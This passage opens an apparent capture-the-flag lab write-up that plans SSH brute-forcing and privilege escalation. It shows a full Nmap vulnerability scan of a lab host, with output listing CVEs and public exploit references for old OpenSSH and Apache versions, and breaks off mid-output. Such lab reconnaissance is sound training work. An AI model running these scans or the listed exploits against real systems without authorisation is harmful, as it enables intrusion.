Background

The description of this CTF is sparse, but the goal seems to be to (1) enumerate the services on a machine, (2) brute force a login over SSH, and (3) elevate privileges (presumably to root, but things are a little vague here).

For this attempt, the target machine IP is 10.10.74.250.

Recon

We begin by running a full Nmap scan:

sudo nmap -vv -oA basic-pentesting -A -sS --script vuln \
          -p- 10.10.74.250

Output:

# Nmap 7.92 scan initiated Thu Nov  4 19:56:42 2021 as: nmap -vv -oA basic-pentesting -A -sS --script vuln -p- 10.10.74.250
Increasing send delay for 10.10.74.250 from 5 to 10 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 10.10.74.250 from 10 to 20 due to 11 out of 12 dropped probes since last increase.
Nmap scan report for 10.10.74.250
Host is up, received timestamp-reply ttl 61 (0.17s latency).
Scanned at 2021-11-04 19:56:54 MDT for 1378s
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.2p2: 
|     	PACKETSTORM:140070	7.8	https://vulners.com/packetstorm/PACKETSTORM:140070	*EXPLOIT*
|     	EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09	7.8	https://vulners.com/exploitpack/EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09	*EXPLOIT*
|     	EDB-ID:40888	7.8	https://vulners.com/exploitdb/EDB-ID:40888	*EXPLOIT*
|     	CVE-2016-8858	7.8	https://vulners.com/cve/CVE-2016-8858
|     	CVE-2016-6515	7.8	https://vulners.com/cve/CVE-2016-6515
|     	1337DAY-ID-26494	7.8	https://vulners.com/zdt/1337DAY-ID-26494	*EXPLOIT*
|     	SSV:92579	7.5	https://vulners.com/seebug/SSV:92579	*EXPLOIT*
|     	CVE-2016-10009	7.5	https://vulners.com/cve/CVE-2016-10009
|     	1337DAY-ID-26576	7.5	https://vulners.com/zdt/1337DAY-ID-26576	*EXPLOIT*
|     	SSV:92582	7.2	https://vulners.com/seebug/SSV:92582	*EXPLOIT*
|     	CVE-2016-10012	7.2	https://vulners.com/cve/CVE-2016-10012
|     	CVE-2015-8325	7.2	https://vulners.com/cve/CVE-2015-8325
|     	SSV:92580	6.9	https://vulners.com/seebug/SSV:92580	*EXPLOIT*
|     	CVE-2016-10010	6.9	https://vulners.com/cve/CVE-2016-10010
|     	1337DAY-ID-26577	6.9	https://vulners.com/zdt/1337DAY-ID-26577	*EXPLOIT*
|     	MSF:ILITIES/UBUNTU-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/SUSE-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/SUSE-CVE-2019-25017/	5.8	https://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2019-25017/	*EXPLOIT*
|     	MSF:ILITIES/REDHAT_LINUX-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/REDHAT-OPENSHIFT-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/REDHAT-OPENSHIFT-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/OPENBSD-OPENSSH-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/OPENBSD-OPENSSH-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/IBM-AIX-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/IBM-AIX-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/GENTOO-LINUX-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/GENTOO-LINUX-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/F5-BIG-IP-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/F5-BIG-IP-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/DEBIAN-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/CENTOS_LINUX-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/AMAZON_LINUX-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/AMAZON_LINUX-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2019-6111/	*EXPLOIT*
|     	MSF:ILITIES/ALPINE-LINUX-CVE-2019-6111/	5.8	https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2019-6111/	*EXPLOIT*
|     	EXPLOITPACK:98FE96309F9524B8C84C508837551A19	5.8	https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19	*EXPLOIT*
|     	EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	5.8	https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	*EXPLOIT*
|     	EDB-ID:46516	5.8	https://vulners.com/exploitdb/EDB-ID:46516	*EXPLOIT*
|     	CVE-2019-6111	5.8	https://vulners.com/cve/CVE-2019-6111
|     	1337DAY-ID-32328	5.8	https://vulners.com/zdt/1337DAY-ID-32328	*EXPLOIT*
|     	1337DAY-ID-32009	5.8	https://vulners.com/zdt/1337DAY-ID-32009	*EXPLOIT*
|     	SSV:91041	5.5	https://vulners.com/seebug/SSV:91041	*EXPLOIT*
|     	PACKETSTORM:140019	5.5	https://vulners.com/packetstorm/PACKETSTORM:140019	*EXPLOIT*
|     	PACKETSTORM:136234	5.5	https://vulners.com/packetstorm/PACKETSTORM:136234	*EXPLOIT*
|     	EXPLOITPACK:F92411A645D85F05BDBD274FD222226F	5.5	https://vulners.com/exploitpack/EXPLOITPACK:F92411A645D85F05BDBD274FD222226F	*EXPLOIT*
|     	EXPLOITPACK:9F2E746846C3C623A27A441281EAD138	5.5	https://vulners.com/exploitpack/EXPLOITPACK:9F2E746846C3C623A27A441281EAD138	*EXPLOIT*
|     	EXPLOITPACK:1902C998CBF9154396911926B4C3B330	5.5	https://vulners.com/exploitpack/EXPLOITPACK:1902C998CBF9154396911926B4C3B330	*EXPLOIT*
|     	EDB-ID:40858	5.5	https://vulners.com/exploitdb/EDB-ID:40858	*EXPLOIT*
|     	CVE-2016-3115	5.5	https://vulners.com/cve/CVE-2016-3115
|     	SSH_ENUM	5.0	https://vulners.com/canvas/SSH_ENUM	*EXPLOIT*
|     	PACKETSTORM:150621	5.0	https://vulners.com/packetstorm/PACKETSTORM:150621	*EXPLOIT*
|     	MSF:AUXILIARY/SCANNER/SSH/SSH_ENUMUSERS	5.0	https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/SSH/SSH_ENUMUSERS	*EXPLOIT*
|     	EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0	5.0	https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0	*EXPLOIT*
|     	EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283	5.0	https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283	*EXPLOIT*
|     	EDB-ID:45939	5.0	https://vulners.com/exploitdb/EDB-ID:45939	*EXPLOIT*
|     	CVE-2018-15919	5.0	https://vulners.com/cve/CVE-2018-15919
|     	CVE-2018-15473	5.0	https://vulners.com/cve/CVE-2018-15473
|     	CVE-2017-15906	5.0	https://vulners.com/cve/CVE-2017-15906
|     	CVE-2016-10708	5.0	https://vulners.com/cve/CVE-2016-10708
|     	1337DAY-ID-31730	5.0	https://vulners.com/zdt/1337DAY-ID-31730	*EXPLOIT*
|     	EDB-ID:45233	4.6	https://vulners.com/exploitdb/EDB-ID:45233	*EXPLOIT*
|     	EDB-ID:40963	4.6	https://vulners.com/exploitdb/EDB-ID:40963	*EXPLOIT*
|     	EDB-ID:40962	4.6	https://vulners.com/exploitdb/EDB-ID:40962	*EXPLOIT*
|     	CVE-2021-41617	4.4	https://vulners.com/cve/CVE-2021-41617
|     	MSF:ILITIES/OPENBSD-OPENSSH-CVE-2020-14145/	4.3	https://vulners.com/metasploit/MSF:ILITIES/OPENBSD-OPENSSH-CVE-2020-14145/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP9-CVE-2020-14145/	4.3	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP9-CVE-2020-14145/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-14145/	4.3	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-14145/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2020-14145/	4.3	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2020-14145/	*EXPLOIT*
|     	MSF:ILITIES/F5-BIG-IP-CVE-2020-14145/	4.3	https://vulners.com/metasploit/MSF:ILITIES/F5-BIG-IP-CVE-2020-14145/	*EXPLOIT*
|     	EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF	4.3	https://vulners.com/exploitpack/EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF	*EXPLOIT*
|     	EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF	4.3	https://vulners.com/exploitpack/EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF	*EXPLOIT*
|     	CVE-2020-14145	4.3	https://vulners.com/cve/CVE-2020-14145
|     	CVE-2016-6210	4.3	https://vulners.com/cve/CVE-2016-6210
|     	1337DAY-ID-25440	4.3	https://vulners.com/zdt/1337DAY-ID-25440	*EXPLOIT*
|     	1337DAY-ID-25438	4.3	https://vulners.com/zdt/1337DAY-ID-25438	*EXPLOIT*
|     	CVE-2019-6110	4.0	https://vulners.com/cve/CVE-2019-6110
|     	CVE-2019-6109	4.0	https://vulners.com/cve/CVE-2019-6109
|     	CVE-2018-20685	2.6	https://vulners.com/cve/CVE-2018-20685
|     	SSV:92581	2.1	https://vulners.com/seebug/SSV:92581	*EXPLOIT*
|     	CVE-2016-10011	2.1	https://vulners.com/cve/CVE-2016-10011
|     	PACKETSTORM:151227	0.0	https://vulners.com/packetstorm/PACKETSTORM:151227	*EXPLOIT*
|     	PACKETSTORM:140261	0.0	https://vulners.com/packetstorm/PACKETSTORM:140261	*EXPLOIT*
|     	PACKETSTORM:138006	0.0	https://vulners.com/packetstorm/PACKETSTORM:138006	*EXPLOIT*
|     	PACKETSTORM:137942	0.0	https://vulners.com/packetstorm/PACKETSTORM:137942	*EXPLOIT*
|     	EDB-ID:46193	0.0	https://vulners.com/exploitdb/EDB-ID:46193	*EXPLOIT*
|     	EDB-ID:40136	0.0	https://vulners.com/exploitdb/EDB-ID:40136	*EXPLOIT*
|     	EDB-ID:40113	0.0	https://vulners.com/exploitdb/EDB-ID:40113	*EXPLOIT*
|     	EDB-ID:39569	0.0	https://vulners.com/exploitdb/EDB-ID:39569	*EXPLOIT*
|     	1337DAY-ID-30937	0.0	https://vulners.com/zdt/1337DAY-ID-30937	*EXPLOIT*
|_    	1337DAY-ID-10010	0.0	https://vulners.com/zdt/1337DAY-ID-10010	*EXPLOIT*
80/tcp   open  http        syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
| http-enum: 
|_  /development/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
| vulners: 
|   cpe:/a:apache:http_server:2.4.18: 
|     	CVE-2021-39275	7.5	https://vulners.com/cve/CVE-2021-39275
|     	CVE-2021-26691	7.5	https://vulners.com/cve/CVE-2021-26691
|     	CVE-2017-7679	7.5	https://vulners.com/cve/CVE-2017-7679
|     	CVE-2017-7668	7.5	https://vulners.com/cve/CVE-2017-7668
|     	CVE-2017-3169	7.5	https://vulners.com/cve/CVE-2017-3169
|     	CVE-2017-3167	7.5	https://vulners.com/cve/CVE-2017-3167
|     	MSF:ILITIES/REDHAT_LINUX-CVE-2019-0211/	7.2	https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2019-0211/	*EXPLOIT*
|     	MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0211/	7.2	https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0211/	*EXPLOIT*
|     	EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	7.2	https://vulners.com/exploitpack/EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	*EXPLOIT*
|     	CVE-2019-0211	7.2	https://vulners.com/cve/CVE-2019-0211
|     	1337DAY-ID-32502	7.2	https://vulners.com/zdt/1337DAY-ID-32502	*EXPLOIT*
|     	MSF:ILITIES/UBUNTU-CVE-2018-1312/	6.8	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1312/	*EXPLOIT*
|     	MSF:ILITIES/UBUNTU-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/SUSE-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/REDHAT_LINUX-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/ORACLE_LINUX-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/ORACLE_LINUX-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2018-1312/	6.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2018-1312/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1312/	6.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1312/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2018-1312/	6.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2018-1312/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/FREEBSD-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/FREEBSD-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/DEBIAN-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/CENTOS_LINUX-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/APACHE-HTTPD-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/AMAZON_LINUX-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/AMAZON_LINUX-CVE-2017-15715/	*EXPLOIT*
|     	MSF:ILITIES/ALPINE-LINUX-CVE-2018-1312/	6.8	https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2018-1312/	*EXPLOIT*
|     	MSF:ILITIES/ALPINE-LINUX-CVE-2017-15715/	6.8	https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2017-15715/	*EXPLOIT*
|     	FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	6.8	https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	*EXPLOIT*
|     	CVE-2021-40438	6.8	https://vulners.com/cve/CVE-2021-40438
|     	CVE-2020-35452	6.8	https://vulners.com/cve/CVE-2020-35452
|     	CVE-2018-1312	6.8	https://vulners.com/cve/CVE-2018-1312
|     	CVE-2017-15715	6.8	https://vulners.com/cve/CVE-2017-15715
|     	4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	6.8	https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	*EXPLOIT*
|     	CVE-2019-10082	6.4	https://vulners.com/cve/CVE-2019-10082
|     	CVE-2017-9788	6.4	https://vulners.com/cve/CVE-2017-9788
|     	MSF:ILITIES/REDHAT_LINUX-CVE-2019-0217/	6.0	https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2019-0217/	*EXPLOIT*
|     	MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0217/	6.0	https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0217/	*EXPLOIT*
|     	CVE-2019-0217	6.0	https://vulners.com/cve/CVE-2019-0217
|     	EDB-ID:47689	5.8	https://vulners.com/exploitdb/EDB-ID:47689	*EXPLOIT*
|     	CVE-2020-1927	5.8	https://vulners.com/cve/CVE-2020-1927
|     	CVE-2019-10098	5.8	https://vulners.com/cve/CVE-2019-10098
|     	1337DAY-ID-33577	5.8	https://vulners.com/zdt/1337DAY-ID-33577	*EXPLOIT*
|     	CVE-2016-5387	5.1	https://vulners.com/cve/CVE-2016-5387
|     	SSV:96537	5.0	https://vulners.com/seebug/SSV:96537	*EXPLOIT*
|     	MSF:ILITIES/UBUNTU-CVE-2018-1333/	5.0	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1333/	*EXPLOIT*
|     	MSF:ILITIES/UBUNTU-CVE-2018-1303/	5.0	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1303/	*EXPLOIT*
|     	MSF:ILITIES/UBUNTU-CVE-2017-15710/	5.0	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2017-15710/	*EXPLOIT*
|     	MSF:ILITIES/ORACLE-SOLARIS-CVE-2020-1934/	5.0	https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2020-1934/	*EXPLOIT*
|     	MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15710/	5.0	https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15710/	*EXPLOIT*
|     	MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15710/	5.0	https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15710/	*EXPLOIT*
|     	MSF:ILITIES/IBM-HTTP_SERVER-CVE-2016-8743/	5.0	https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2016-8743/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15710/	5.0	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15710/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15710/	5.0	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15710/	*EXPLOIT*
|     	MSF:ILITIES/CENTOS_LINUX-CVE-2017-15710/	5.0	https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2017-15710/	*EXPLOIT*
|     	MSF:AUXILIARY/SCANNER/HTTP/APACHE_OPTIONSBLEED	5.0	https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/HTTP/APACHE_OPTIONSBLEED	*EXPLOIT*
|     	EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D	5.0	https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D	*EXPLOIT*
|     	EXPLOITPACK:2666FB0676B4B582D689921651A30355	5.0	https://vulners.com/exploitpack/EXPLOITPACK:2666FB0676B4B582D689921651A30355	*EXPLOIT*
|     	EDB-ID:40909	5.0	https://vulners.com/exploitdb/EDB-ID:40909	*EXPLOIT*
|     	CVE-2021-34798	5.0	https://vulners.com/cve/CVE-2021-34798
|     	CVE-2021-33193	5.0	https://vulners.com/cve/CVE-2021-33193
|     	CVE-2021-26690	5.0	https://vulners.com/cve/CVE-2021-26690
|     	CVE-2020-1934	5.0	https://vulners.com/cve/CVE-2020-1934
|     	CVE-2019-17567	5.0	https://vulners.com/cve/CVE-2019-17567
|     	CVE-2019-0220	5.0	https://vulners.com/cve/CVE-2019-0220
|     	CVE-2019-0196	5.0	https://vulners.com/cve/CVE-2019-0196
|     	CVE-2018-17199	5.0	https://vulners.com/cve/CVE-2018-17199
|     	CVE-2018-17189	5.0	https://vulners.com/cve/CVE-2018-17189
|     	CVE-2018-1333	5.0	https://vulners.com/cve/CVE-2018-1333
|     	CVE-2018-1303	5.0	https://vulners.com/cve/CVE-2018-1303
|     	CVE-2017-9798	5.0	https://vulners.com/cve/CVE-2017-9798
|     	CVE-2017-15710	5.0	https://vulners.com/cve/CVE-2017-15710
|     	CVE-2016-8743	5.0	https://vulners.com/cve/CVE-2016-8743
|     	CVE-2016-8740	5.0	https://vulners.com/cve/CVE-2016-8740
|     	CVE-2016-4979	5.0	https://vulners.com/cve/CVE-2016-4979
|     	1337DAY-ID-28573	5.0	https://vulners.com/zdt/1337DAY-ID-28573	*EXPLOIT*
|     	MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-0197/	4.9	https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-0197/	*EXPLOIT*
|     	CVE-2019-0197	4.9	https://vulners.com/cve/CVE-2019-0197
|     	MSF:ILITIES/UBUNTU-CVE-2018-1302/	4.3	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1302/	*EXPLOIT*
|     	MSF:ILITIES/UBUNTU-CVE-2018-1301/	4.3	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1301/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2016-4975/	4.3	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2016-4975/	*EXPLOIT*
|     	MSF:ILITIES/DEBIAN-CVE-2019-10092/	4.3	https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2019-10092/	*EXPLOIT*
|     	MSF:ILITIES/APACHE-HTTPD-CVE-2020-11985/	4.3	https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2020-11985/	*EXPLOIT*
|     	MSF:ILITIES/APACHE-HTTPD-CVE-2019-10092/	4.3	https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2019-10092/	*EXPLOIT*
|     	EDB-ID:47688	4.3	https://vulners.com/exploitdb/EDB-ID:47688	*EXPLOIT*
|     	CVE-2020-11985	4.3	https://vulners.com/cve/CVE-2020-11985
|     	CVE-2019-10092	4.3	https://vulners.com/cve/CVE-2019-10092
|     	CVE-2018-1302	4.3	https://vulners.com/cve/CVE-2018-1302
|     	CVE-2018-1301	4.3	https://vulners.com/cve/CVE-2018-1301
|     	CVE-2018-11763	4.3	https://vulners.com/cve/CVE-2018-11763
|     	CVE-2016-4975	4.3	https://vulners.com/cve/CVE-2016-4975
|     	CVE-2016-1546	4.3	https://vulners.com/cve/CVE-2016-1546
|     	4013EC74-B3C1-5D95-938A-54197A58586D	4.3	https://vulners.com/githubexploit/4013EC74-B3C1-5D95-938A-54197A58586D	*EXPLOIT*
|     	1337DAY-ID-33575	4.3	https://vulners.com/zdt/1337DAY-ID-33575	*EXPLOIT*
|     	MSF:ILITIES/UBUNTU-CVE-2018-1283/	3.5	https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1283/	*EXPLOIT*
|     	MSF:ILITIES/REDHAT_LINUX-CVE-2018-1283/	3.5	https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2018-1283/	*EXPLOIT*
|     	MSF:ILITIES/ORACLE-SOLARIS-CVE-2018-1283/	3.5	https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2018-1283/	*EXPLOIT*
|     	MSF:ILITIES/IBM-HTTP_SERVER-CVE-2018-1283/	3.5	https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2018-1283/	*EXPLOIT*
|     	MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1283/	3.5	https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1283/	*EXPLOIT*
|     	MSF:ILITIES/CENTOS_LINUX-CVE-2018-1283/	3.5	https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2018-1283/	*EXPLOIT*
